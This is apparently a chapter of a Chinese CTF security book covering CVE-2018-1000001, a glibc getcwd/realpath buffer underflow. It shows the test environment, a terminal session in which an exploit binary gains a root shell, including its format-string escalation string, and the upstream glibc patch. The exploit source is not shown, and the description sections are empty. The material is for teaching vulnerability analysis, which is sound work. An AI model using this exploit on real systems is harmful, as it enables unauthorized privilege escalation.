CTF-All-In-One/doc/7.1.5_glibc_2018-1000001.md
2018-02-01 11:40:15 +08:00

4.5 KiB
Raw Blame History

7.1.5 [CVE2018-1000001] glibc Buffer Underflow

下载文件

漏洞描述

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 16.04 体系结构64 位
调试器 gdb-peda 版本号7.11.1
漏洞软件 glibc 版本号2.23-0ubuntu9
$ gcc -g exp.c 
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out 
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb  1 03:28 a.out
$ ./a.out 
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out 
-rwsr-xr-x 1 root root 44152 Feb  1 03:28 a.out

漏洞分析

补丁

$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat    
commit 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94
Author: Dmitry V. Levin <ldv@altlinux.org>
Date:   Sun Jan 7 02:03:41 2018 +0000

    linux: make getcwd(3) fail if it cannot obtain an absolute path [BZ #22679]
    
    Currently getcwd(3) can succeed without returning an absolute path
    because the underlying getcwd syscall, starting with linux commit
    v2.6.36-rc1~96^2~2, may succeed without returning an absolute path.
    
    This is a conformance issue because "The getcwd() function shall
    place an absolute pathname of the current working directory
    in the array pointed to by buf, and return buf".
    
    This is also a security issue because a non-absolute path returned
    by getcwd(3) causes a buffer underflow in realpath(3).
    
    Fix this by checking the path returned by getcwd syscall and falling
    back to generic_getcwd if the path is not absolute, effectively making
    getcwd(3) fail with ENOENT.  The error code is chosen for consistency
    with the case when the current directory is unlinked.
    
    [BZ #22679]
    CVE-2018-1000001
    * sysdeps/unix/sysv/linux/getcwd.c (__getcwd): Fall back to
    generic_getcwd if the path returned by getcwd syscall is not absolute.
    * io/tst-getcwd-abspath.c: New test.
    * io/Makefile (tests): Add tst-getcwd-abspath.

diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size)
   int retval;
 
   retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
-  if (retval >= 0)
+  if (retval > 0 && path[0] == '/')
     {
 #ifndef NO_ALLOCATION
       if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size)
       return buf;
     }
 
-  /* The system call cannot handle paths longer than a page.
-     Neither can the magic symlink in /proc/self.  Just use the
+  /* The system call either cannot handle paths longer than a page
+     or can succeed without returning an absolute path.  Just use the
      generic implementation right away.  */
-  if (errno == ENAMETOOLONG)
+  if (retval >= 0 || errno == ENAMETOOLONG)
     {
 #ifndef NO_ALLOCATION
       if (buf == NULL && size == 0)

参考资料